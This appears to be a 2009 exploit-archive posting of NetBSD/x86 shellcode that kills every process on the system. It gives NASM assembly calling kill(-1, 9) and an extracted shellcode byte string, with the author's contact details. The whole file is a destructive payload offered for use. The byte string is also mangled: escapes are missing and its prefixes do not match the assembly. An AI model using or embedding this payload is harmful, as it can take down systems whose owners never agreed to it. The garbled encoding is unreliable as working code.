netbsd-shellcode.txt
Posted on 19 June 2009
/* netbsd/x86 kill all processes shellcode author Teo Manojlovic contact teo.manojlovic@skole.hr this shellcode is using syscall number 37 or 0x25 37 STD { int sys_kill(int pid, int signum); } here is assembler code using intel syntaxe and NASM --------------begin----------- section .note.netbsd.ident dd 0x07,0x04,0x01 db "NetBSD",0x00,0x00 dd 200000000 section .data section .text global _start _start: xor eax, eax push 0x09 mov eax, -1 push eax xor eax,eax mov al, 37 push eax int 0x80 -------------------------end------------ if we dissasemble this code wi will get shellcode "x66x31xc0x68x09x00x66xb8xffxffxffxffx66x50x66x31xc0xb0x25x66x50xcdx80" */
